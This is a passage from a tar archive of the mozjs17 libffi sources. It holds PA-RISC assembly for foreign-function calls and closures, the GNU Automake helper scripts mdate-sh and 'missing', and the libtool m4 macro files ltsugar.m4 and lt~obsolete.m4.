FFI_TYPE_UINT64, %r21, L$checksmst2 stw %ret0, 0(%r20) b L$done stw %ret1, 4(%r20) L$checksmst2 comib,<>,n FFI_TYPE_SMALL_STRUCT2, %r21, L$checksmst3 /* 2-byte structs are returned in ret0 as ????xxyy. */ extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) b L$done stb %ret0, 0(%r20) L$checksmst3 comib,<>,n FFI_TYPE_SMALL_STRUCT3, %r21, L$checksmst4 /* 3-byte structs are returned in ret0 as ??xxyyzz. */ extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) b L$done stb %ret0, 0(%r20) L$checksmst4 comib,<>,n FFI_TYPE_SMALL_STRUCT4, %r21, L$checksmst5 /* 4-byte structs are returned in ret0 as wwxxyyzz. */ extru %ret0, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) b L$done stb %ret0, 0(%r20) L$checksmst5 comib,<>,n FFI_TYPE_SMALL_STRUCT5, %r21, L$checksmst6 /* 5 byte values are returned right justified: ret0 ret1 5: ??????aa bbccddee */ stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) b L$done stb %ret1, 0(%r20) L$checksmst6 comib,<>,n FFI_TYPE_SMALL_STRUCT6, %r21, L$checksmst7 /* 6 byte values are returned right justified: ret0 ret1 6: ????aabb ccddeeff */ extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) b L$done stb %ret1, 0(%r20) L$checksmst7 comib,<>,n FFI_TYPE_SMALL_STRUCT7, %r21, L$checksmst8 /* 7 byte values are returned right justified: ret0 ret1 7: ??aabbcc ddeeffgg */ extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) b L$done stb %ret1, 0(%r20) L$checksmst8 comib,<>,n FFI_TYPE_SMALL_STRUCT8, %r21, L$done /* 8 byte values are returned right justified: ret0 ret1 8: aabbccdd eeffgghh */ extru %ret0, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) stb %ret1, 0(%r20) L$done /* all done, return */ copy %r4, %sp ; pop arg stack ldw 12(%r3), %r4 ldwm -64(%sp), %r3 ; .. and pop stack ldw -20(%sp), %rp bv %r0(%rp) nop .exit .procend L$FE1 /* void ffi_closure_pa32(void); Called with closure argument in %r21 */ .SPACE $TEXT$ .SUBSPA $CODE$ .export ffi_closure_pa32,ENTRY,PRIV_LEV=3,RTNVAL=GR .import ffi_closure_inner_pa32,CODE .align 4 L$FB2 ffi_closure_pa32 .proc .callinfo FRAME=64,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=3 .entry stw %rp, -20(%sp) copy %r3, %r1 L$CFI21 copy %sp, %r3 L$CFI22 stwm %r1, 64(%sp) /* Put arguments onto the stack and call ffi_closure_inner. */ stw %arg0, -36(%r3) stw %arg1, -40(%r3) stw %arg2, -44(%r3) stw %arg3, -48(%r3) copy %r21, %arg0 bl ffi_closure_inner_pa32, %r2 copy %r3, %arg1 ldwm -64(%sp), %r3 ldw -20(%sp), %rp ldw -36(%sp), %ret0 bv %r0(%rp) ldw -40(%sp), %ret1 .exit .procend L$FE2: .SPACE $PRIVATE$ .SUBSPA $DATA$ .align 4 .EXPORT _GLOBAL__F_ffi_call_pa32,DATA _GLOBAL__F_ffi_call_pa32 L$frame1: .word L$ECIE1-L$SCIE1 ;# Length of Common Information Entry L$SCIE1: .word 0x0 ;# CIE Identifier Tag .byte 0x1 ;# CIE Version .ascii "\0" ;# CIE Augmentation .uleb128 0x1 ;# CIE Code Alignment Factor .sleb128 4 ;# CIE Data Alignment Factor .byte 0x2 ;# CIE RA Column .byte 0xc ;# DW_CFA_def_cfa .uleb128 0x1e .uleb128 0x0 .align 4 L$ECIE1: L$SFDE1: .word L$EFDE1-L$ASFDE1 ;# FDE Length L$ASFDE1: .word L$ASFDE1-L$frame1 ;# FDE CIE offset .word L$FB1 ;# FDE initial location .word L$FE1-L$FB1 ;# FDE address range .byte 0x4 ;# DW_CFA_advance_loc4 .word L$CFI11-L$FB1 .byte 0x83 ;# DW_CFA_offset, column 0x3 .uleb128 0x0 .byte 0x11 ;# DW_CFA_offset_extended_sf; save r2 at [r30-20] .uleb128 0x2 .sleb128 -5 .byte 0x4 ;# DW_CFA_advance_loc4 .word L$CFI12-L$CFI11 .byte 0xd ;# DW_CFA_def_cfa_register = r3 .uleb128 0x3 .byte 0x4 ;# DW_CFA_advance_loc4 .word L$CFI13-L$CFI12 .byte 0x84 ;# DW_CFA_offset, column 0x4 .uleb128 0x3 .align 4 L$EFDE1: L$SFDE2: .word L$EFDE2-L$ASFDE2 ;# FDE Length L$ASFDE2: .word L$ASFDE2-L$frame1 ;# FDE CIE offset .word L$FB2 ;# FDE initial location .word L$FE2-L$FB2 ;# FDE address range .byte 0x4 ;# DW_CFA_advance_loc4 .word L$CFI21-L$FB2 .byte 0x83 ;# DW_CFA_offset, column 0x3 .uleb128 0x0 .byte 0x11 ;# DW_CFA_offset_extended_sf .uleb128 0x2 .sleb128 -5 .byte 0x4 ;# DW_CFA_advance_loc4 .word L$CFI22-L$CFI21 .byte 0xd ;# DW_CFA_def_cfa_register = r3 .uleb128 0x3 .align 4 L$EFDE2: mozjs17.0.0/js/src/ctypes/libffi/mdate-sh0000775000175000017500000001255312106270662020203 0ustar sstanglsstangl#!/bin/sh # Get modification time of a file or directory and pretty-print it. scriptversion=2005-06-29.22 # Copyright (C) 1995, 1996, 1997, 2003, 2004, 2005 Free Software # Foundation, Inc. # written by Ulrich Drepper , June 1995 # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software Foundation, # Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # This file is maintained in Automake, please report # bugs to or send patches to # . case $1 in '') echo "$0: No file. Try \`$0 --help' for more information." 1>&2 exit 1; ;; -h | --h*) cat <<\EOF Usage: mdate-sh [--help] [--version] FILE Pretty-print the modification time of FILE. Report bugs to . EOF exit $? ;; -v | --v*) echo "mdate-sh $scriptversion" exit $? ;; esac # Prevent date giving response in another language. LANG=C export LANG LC_ALL=C export LC_ALL LC_TIME=C export LC_TIME # GNU ls changes its time format in response to the TIME_STYLE # variable. Since we cannot assume `unset' works, revert this # variable to its documented default. if test "${TIME_STYLE+set}" = set; then TIME_STYLE=posix-long-iso export TIME_STYLE fi save_arg1=$1 # Find out how to get the extended ls output of a file or directory. if ls -L /dev/null 1>/dev/null 2>&1; then ls_command='ls -L -l -d' else ls_command='ls -l -d' fi # A `ls -l' line looks as follows on OS/2. # drwxrwx--- 0 Aug 11 2001 foo # This differs from Unix, which adds ownership information. # drwxrwx--- 2 root root 4096 Aug 11 2001 foo # # To find the date, we split the line on spaces and iterate on words # until we find a month. This cannot work with files whose owner is a # user named `Jan', or `Feb', etc. However, it's unlikely that `/' # will be owned by a user whose name is a month. So we first look at # the extended ls output of the root directory to decide how many # words should be skipped to get the date. # On HPUX /bin/sh, "set" interprets "-rw-r--r--" as options, so the "x" below. set x`ls -l -d /` # Find which argument is the month. month= command= until test $month do shift # Add another shift to the command. command="$command shift;" case $1 in Jan) month=January; nummonth=1;; Feb) month=February; nummonth=2;; Mar) month=March; nummonth=3;; Apr) month=April; nummonth=4;; May) month=May; nummonth=5;; Jun) month=June; nummonth=6;; Jul) month=July; nummonth=7;; Aug) month=August; nummonth=8;; Sep) month=September; nummonth=9;; Oct) month=October; nummonth=10;; Nov) month=November; nummonth=11;; Dec) month=December; nummonth=12;; esac done # Get the extended ls output of the file or directory. set dummy x`eval "$ls_command \"\$save_arg1\""` # Remove all preceding arguments eval $command # Because of the dummy argument above, month is in $2. # # On a POSIX system, we should have # # $# = 5 # $1 = file size # $2 = month # $3 = day # $4 = year or time # $5 = filename # # On Darwin 7.7.0 and 7.6.0, we have # # $# = 4 # $1 = day # $2 = month # $3 = year or time # $4 = filename # Get the month. case $2 in Jan) month=January; nummonth=1;; Feb) month=February; nummonth=2;; Mar) month=March; nummonth=3;; Apr) month=April; nummonth=4;; May) month=May; nummonth=5;; Jun) month=June; nummonth=6;; Jul) month=July; nummonth=7;; Aug) month=August; nummonth=8;; Sep) month=September; nummonth=9;; Oct) month=October; nummonth=10;; Nov) month=November; nummonth=11;; Dec) month=December; nummonth=12;; esac case $3 in ???*) day=$1;; *) day=$3; shift;; esac # Here we have to deal with the problem that the ls output gives either # the time of day or the year. case $3 in *:*) set `date`; eval year=\$$# case $2 in Jan) nummonthtod=1;; Feb) nummonthtod=2;; Mar) nummonthtod=3;; Apr) nummonthtod=4;; May) nummonthtod=5;; Jun) nummonthtod=6;; Jul) nummonthtod=7;; Aug) nummonthtod=8;; Sep) nummonthtod=9;; Oct) nummonthtod=10;; Nov) nummonthtod=11;; Dec) nummonthtod=12;; esac # For the first six month of the year the time notation can also # be used for files modified in the last year. if (expr $nummonth \> $nummonthtod) > /dev/null; then year=`expr $year - 1` fi;; *) year=$3;; esac # The result. echo $day $month $year # Local Variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: mozjs17.0.0/js/src/ctypes/libffi/missing0000775000175000017500000002540612106270662020153 0ustar sstanglsstangl#! /bin/sh # Common stub for a few missing GNU programs while installing. scriptversion=2005-06-08.21 # Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005 # Free Software Foundation, Inc. # Originally by Fran,cois Pinard , 1996. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. if test $# -eq 0; then echo 1>&2 "Try \`$0 --help' for more information" exit 1 fi run=: # In the cases where this matters, `missing' is being run in the # srcdir already. if test -f configure.ac; then configure_ac=configure.ac else configure_ac=configure.in fi msg="missing on your system" case "$1" in --run) # Try to run requested program, and just exit if it succeeds. run= shift "$@" && exit 0 # Exit code 63 means version mismatch. This often happens # when the user try to use an ancient version of a tool on # a file that requires a minimum version. In this case we # we should proceed has if the program had been absent, or # if --run hadn't been passed. if test $? = 63; then run=: msg="probably too old" fi ;; -h|--h|--he|--hel|--help) echo "\ $0 [OPTION]... PROGRAM [ARGUMENT]... Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an error status if there is no known handling for PROGRAM. Options: -h, --help display this help and exit -v, --version output version information and exit --run try to run the given command, and emulate it if it fails Supported PROGRAM values: aclocal touch file \`aclocal.m4' autoconf touch file \`configure' autoheader touch file \`config.h.in' automake touch all \`Makefile.in' files bison create \`y.tab.[ch]', if possible, from existing .[ch] flex create \`lex.yy.c', if possible, from existing .c help2man touch the output file lex create \`lex.yy.c', if possible, from existing .c makeinfo touch the output file tar try tar, gnutar, gtar, then tar without non-portable flags yacc create \`y.tab.[ch]', if possible, from existing .[ch] Send bug reports to ." exit $? ;; -v|--v|--ve|--ver|--vers|--versi|--versio|--version) echo "missing $scriptversion (GNU Automake)" exit $? ;; -*) echo 1>&2 "$0: Unknown \`$1' option" echo 1>&2 "Try \`$0 --help' for more information" exit 1 ;; esac # Now exit if we have it, but it failed. Also exit now if we # don't have it and --version was passed (most likely to detect # the program). case "$1" in lex|yacc) # Not GNU programs, they don't have --version. ;; tar) if test -n "$run"; then echo 1>&2 "ERROR: \`tar' requires --run" exit 1 elif test "x$2" = "x--version" || test "x$2" = "x--help"; then exit 1 fi ;; *) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 elif test "x$2" = "x--version" || test "x$2" = "x--help"; then # Could not run --version or --help. This is probably someone # running `$TOOL --version' or `$TOOL --help' to check whether # $TOOL exists and not knowing $TOOL uses missing. exit 1 fi ;; esac # If it does not exist, or fails to run (possibly an outdated version), # try to emulate it. case "$1" in aclocal*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`acinclude.m4' or \`${configure_ac}'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." touch aclocal.m4 ;; autoconf) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`${configure_ac}'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." touch configure ;; autoheader) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`acconfig.h' or \`${configure_ac}'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}` test -z "$files" && files="config.h" touch_files= for f in $files; do case "$f" in *:*) touch_files="$touch_files "`echo "$f" | sed -e 's/^[^:]*://' -e 's/:.*//'`;; *) touch_files="$touch_files $f.in";; esac done touch $touch_files ;; automake*) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." find . -type f -name Makefile.am -print | sed 's/\.am$/.in/' | while read f; do touch "$f"; done ;; autom4te) echo 1>&2 "\ WARNING: \`$1' is needed, but is $msg. You might have modified some files without having the proper tools for further handling them. You can get \`$1' as part of \`Autoconf' from any GNU archive site." file=`echo "$*" | sed -n 's/.*--output[ =]*\([^ ]*\).*/\1/p'` test -z "$file" && file=`echo "$*" | sed -n 's/.*-o[ ]*\([^ ]*\).*/\1/p'` if test -f "$file"; then touch $file else test -z "$file" || exec >$file echo "#! /bin/sh" echo "# Created by GNU Automake missing as a replacement of" echo "# $ $@" echo "exit 0" chmod +x $file exit 1 fi ;; bison|yacc) echo 1>&2 "\ WARNING: \`$1' $msg. You should only need it if you modified a \`.y' file. You may need the \`Bison' package in order for those modifications to take effect. You can get \`Bison' from any GNU archive site." rm -f y.tab.c y.tab.h if [ $# -ne 1 ]; then eval LASTARG="\${$#}" case "$LASTARG" in *.y) SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" y.tab.c fi SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" y.tab.h fi ;; esac fi if [ ! -f y.tab.h ]; then echo >y.tab.h fi if [ ! -f y.tab.c ]; then echo 'main() { return 0; }' >y.tab.c fi ;; lex|flex) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified a \`.l' file. You may need the \`Flex' package in order for those modifications to take effect. You can get \`Flex' from any GNU archive site." rm -f lex.yy.c if [ $# -ne 1 ]; then eval LASTARG="\${$#}" case "$LASTARG" in *.l) SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" lex.yy.c fi ;; esac fi if [ ! -f lex.yy.c ]; then echo 'main() { return 0; }' >lex.yy.c fi ;; help2man) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified a dependency of a manual page. You may need the \`Help2man' package in order for those modifications to take effect. You can get \`Help2man' from any GNU archive site." file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` if test -z "$file"; then file=`echo "$*" | sed -n 's/.*--output=\([^ ]*\).*/\1/p'` fi if [ -f "$file" ]; then touch $file else test -z "$file" || exec >$file echo ".ab help2man is required to generate this page" exit 1 fi ;; makeinfo) echo 1>&2 "\ WARNING: \`$1' is $msg. You should only need it if you modified a \`.texi' or \`.texinfo' file, or any other file indirectly affecting the aspect of the manual. The spurious call might also be the consequence of using a buggy \`make' (AIX, DU, IRIX). You might want to install the \`Texinfo' package or the \`GNU make' package. Grab either from any GNU archive site." # The file to touch is that specified with -o ... file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` if test -z "$file"; then # ... or it is the one specified with @setfilename ... infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $infile` # ... or it is derived from the source name (dir/f.texi becomes f.info) test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info fi # If the file does not exist, the user really needs makeinfo; # let's fail without touching anything. test -f $file || exit 1 touch $file ;; tar) shift # We have already tried tar in the generic part. # Look for gnutar/gtar before invocation to avoid ugly error # messages. if (gnutar --version > /dev/null 2>&1); then gnutar "$@" && exit 0 fi if (gtar --version > /dev/null 2>&1); then gtar "$@" && exit 0 fi firstarg="$1" if shift; then case "$firstarg" in *o*) firstarg=`echo "$firstarg" | sed s/o//` tar "$firstarg" "$@" && exit 0 ;; esac case "$firstarg" in *h*) firstarg=`echo "$firstarg" | sed s/h//` tar "$firstarg" "$@" && exit 0 ;; esac fi echo 1>&2 "\ WARNING: I can't seem to be able to run \`tar' with the given arguments. You may want to install GNU tar or Free paxutils, or check the command line arguments." exit 1 ;; *) echo 1>&2 "\ WARNING: \`$1' is needed, and is $msg. You might have modified some files without having the proper tools for further handling them. Check the \`README' file, it often tells you about the needed prerequisites for installing this package. You may also peek at any GNU archive site, in case some other package would contain this missing \`$1' program." exit 1 ;; esac exit 0 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: mozjs17.0.0/js/src/ctypes/libffi/m4/0000775000175000017500000000000012106270662017065 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/m4/ltsugar.m40000664000175000017500000001042412106270662021011 0ustar sstanglsstangl# ltsugar.m4 -- libtool m4 base layer. -*-Autoconf-*- # # Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc. # Written by Gary V. Vaughan, 2004 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 6 ltsugar.m4 # This is to help aclocal find these macros, as it can't see m4_define. AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])]) # lt_join(SEP, ARG1, [ARG2...]) # ----------------------------- # Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their # associated separator. # Needed until we can rely on m4_join from Autoconf 2.62, since all earlier # versions in m4sugar had bugs. m4_define([lt_join], [m4_if([$#], [1], [], [$#], [2], [[$2]], [m4_if([$2], [], [], [[$2]_])$0([$1], m4_shift(m4_shift($@)))])]) m4_define([_lt_join], [m4_if([$#$2], [2], [], [m4_if([$2], [], [], [[$1$2]])$0([$1], m4_shift(m4_shift($@)))])]) # lt_car(LIST) # lt_cdr(LIST) # ------------ # Manipulate m4 lists. # These macros are necessary as long as will still need to support # Autoconf-2.59 which quotes differently. m4_define([lt_car], [[$1]]) m4_define([lt_cdr], [m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])], [$#], 1, [], [m4_dquote(m4_shift($@))])]) m4_define([lt_unquote], $1) # lt_append(MACRO-NAME, STRING, [SEPARATOR]) # ------------------------------------------ # Redefine MACRO-NAME to hold its former content plus `SEPARATOR'`STRING'. # Note that neither SEPARATOR nor STRING are expanded; they are appended # to MACRO-NAME as is (leaving the expansion for when MACRO-NAME is invoked). # No SEPARATOR is output if MACRO-NAME was previously undefined (different # than defined and empty). # # This macro is needed until we can rely on Autoconf 2.62, since earlier # versions of m4sugar mistakenly expanded SEPARATOR but not STRING. m4_define([lt_append], [m4_define([$1], m4_ifdef([$1], [m4_defn([$1])[$3]])[$2])]) # lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...]) # ---------------------------------------------------------- # Produce a SEP delimited list of all paired combinations of elements of # PREFIX-LIST with SUFFIX1 through SUFFIXn. Each element of the list # has the form PREFIXmINFIXSUFFIXn. # Needed until we can rely on m4_combine added in Autoconf 2.62. m4_define([lt_combine], [m4_if(m4_eval([$# > 3]), [1], [m4_pushdef([_Lt_sep], [m4_define([_Lt_sep], m4_defn([lt_car]))])]]dnl [[m4_foreach([_Lt_prefix], [$2], [m4_foreach([_Lt_suffix], ]m4_dquote(m4_dquote(m4_shift(m4_shift(m4_shift($@)))))[, [_Lt_sep([$1])[]m4_defn([_Lt_prefix])[$3]m4_defn([_Lt_suffix])])])])]) # lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ]) # ----------------------------------------------------------------------- # Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited # by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ. m4_define([lt_if_append_uniq], [m4_ifdef([$1], [m4_if(m4_index([$3]m4_defn([$1])[$3], [$3$2$3]), [-1], [lt_append([$1], [$2], [$3])$4], [$5])], [lt_append([$1], [$2], [$3])$4])]) # lt_dict_add(DICT, KEY, VALUE) # ----------------------------- m4_define([lt_dict_add], [m4_define([$1($2)], [$3])]) # lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE) # -------------------------------------------- m4_define([lt_dict_add_subkey], [m4_define([$1($2:$3)], [$4])]) # lt_dict_fetch(DICT, KEY, [SUBKEY]) # ---------------------------------- m4_define([lt_dict_fetch], [m4_ifval([$3], m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]), m4_ifdef([$1($2)], [m4_defn([$1($2)])]))]) # lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE]) # ----------------------------------------------------------------- m4_define([lt_if_dict_fetch], [m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4], [$5], [$6])]) # lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...]) # -------------------------------------------------------------- m4_define([lt_dict_filter], [m4_if([$5], [], [], [lt_join(m4_quote(m4_default([$4], [[, ]])), lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]), [lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl ]) mozjs17.0.0/js/src/ctypes/libffi/m4/lt~obsolete.m40000664000175000017500000001311312106270662021700 0ustar sstanglsstangl# lt~obsolete.m4 -- aclocal satisfying obsolete definitions. -*-Autoconf-*- # # Copyright (C) 2004, 2005, 2007 Free Software Foundation, Inc. # Written by Scott James Remnant, 2004. # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 4 lt~obsolete.m4 # These exist entirely to fool aclocal when bootstrapping libtool. # # In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN) # which have later been changed to m4_define as they aren't part of the # exported API, or moved to Autoconf or Automake where they belong. # # The trouble is, aclocal is a bit thick. It'll see the old AC_DEFUN # in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us # using a macro with the same name in our local m4/libtool.m4 it'll # pull the old libtool.m4 in (it doesn't see our shiny new m4_define # and doesn't know about Autoconf macros at all.) # # So we provide this file, which has a silly filename so it's always # included after everything else. This provides aclocal with the # AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything # because those macros already exist, or will be overwritten later. # We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6. # # Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here. # Yes, that means every name once taken will need to remain here until # we give up compatibility with versions before 1.7, at which point # we need to keep only those names which we still refer to. # This is to help aclocal find these macros, as it can't see m4_define. AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])]) m4_ifndef([AC_LIBTOOL_LINKER_OPTION], [AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])]) m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP])]) m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])]) m4_ifndef([_LT_AC_SHELL_INIT], [AC_DEFUN([_LT_AC_SHELL_INIT])]) m4_ifndef([_LT_AC_SYS_LIBPATH_AIX], [AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])]) m4_ifndef([_LT_PROG_LTMAIN], [AC_DEFUN([_LT_PROG_LTMAIN])]) m4_ifndef([_LT_AC_TAGVAR], [AC_DEFUN([_LT_AC_TAGVAR])]) m4_ifndef([AC_LTDL_ENABLE_INSTALL], [AC_DEFUN([AC_LTDL_ENABLE_INSTALL])]) m4_ifndef([AC_LTDL_PREOPEN], [AC_DEFUN([AC_LTDL_PREOPEN])]) m4_ifndef([_LT_AC_SYS_COMPILER], [AC_DEFUN([_LT_AC_SYS_COMPILER])]) m4_ifndef([_LT_AC_LOCK], [AC_DEFUN([_LT_AC_LOCK])]) m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE], [AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])]) m4_ifndef([_LT_AC_TRY_DLOPEN_SELF], [AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])]) m4_ifndef([AC_LIBTOOL_PROG_CC_C_O], [AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])]) m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])]) m4_ifndef([AC_LIBTOOL_OBJDIR], [AC_DEFUN([AC_LIBTOOL_OBJDIR])]) m4_ifndef([AC_LTDL_OBJDIR], [AC_DEFUN([AC_LTDL_OBJDIR])]) m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])]) m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP], [AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])]) m4_ifndef([AC_PATH_MAGIC], [AC_DEFUN([AC_PATH_MAGIC])]) m4_ifndef([AC_PROG_LD_GNU], [AC_DEFUN([AC_PROG_LD_GNU])]) m4_ifndef([AC_PROG_LD_RELOAD_FLAG], [AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])]) m4_ifndef([AC_DEPLIBS_CHECK_METHOD], [AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])]) m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])]) m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])]) m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])]) m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])]) m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP], [AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])]) m4_ifndef([LT_AC_PROG_EGREP], [AC_DEFUN([LT_AC_PROG_EGREP])]) m4_ifndef([LT_AC_PROG_SED], [AC_DEFUN([LT_AC_PROG_SED])]) m4_ifndef([_LT_CC_BASENAME], [AC_DEFUN([_LT_CC_BASENAME])]) m4_ifndef([_LT_COMPILER_BOILERPLATE], [AC_DEFUN([_LT_COMPILER_BOILERPLATE])]) m4_ifndef([_LT_LINKER_BOILERPLATE], [AC_DEFUN([_LT_LINKER_BOILERPLATE])]) m4_ifndef([_AC_PROG_LIBTOOL], [AC_DEFUN([_AC_PROG_LIBTOOL])]) m4_ifndef([AC_LIBTOOL_SETUP], [AC_DEFUN([AC_LIBTOOL_SETUP])]) m4_ifndef([_LT_AC_CHECK_DLFCN], [AC_DEFUN([_LT_AC_CHECK_DLFCN])]) 